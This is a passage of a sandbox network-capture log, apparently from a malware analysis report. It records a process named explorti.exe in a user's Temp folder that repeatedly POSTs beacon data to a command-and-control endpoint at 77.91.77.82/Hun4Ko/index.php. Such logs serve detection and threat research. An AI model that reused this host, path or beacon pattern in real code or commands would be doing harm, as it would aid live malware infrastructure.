44	192.168.2.6	49771	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:44.893198967 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:45.596848011 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:45.597568035 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:45.820981979 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.6	49772	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:45.942519903 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:46.623687029 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:46.624545097 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:46.839775085 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.6	49773	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:46.955384016 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:47.808543921 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:47.809453011 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:48.024606943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.6	49774	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:48.144911051 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:48.836165905 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:48.841418028 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:49.057358027 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.6	49775	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:49.178061008 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:49.864996910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:49.869154930 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:50.085292101 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.6	49776	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:50.205576897 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:50.890818119 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:50.891583920 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:51.106482983 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49777	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:51.221158981 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:51.935321093 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:51.936064005 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:52.154350996 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49778	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:52.276566982 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:52.955826044 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:52.956691027 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:53.174604893 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49780	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:53.290249109 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:53.995728016 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:54.019355059 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:54.241267920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49781	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:54.362082958 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:55.074259043 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:55.075189114 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:55.301563025 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49782	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:55.408936024 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:56.126580000 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:56.127551079 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:56.354549885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.6	49783	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:56.470963955 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:57.173646927 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 1, 2024 07:21:57.176326036 CEST	309	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 36 37 35 42 36 35 30 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BB42675B65082D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 1, 2024 07:21:57.405288935 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.6	49784	77.91.77.82	80	7104	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 1, 2024 07:21:57.518408060 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 1, 2024 07:21:58.203861952 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 01 Jul 2024 05:21:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
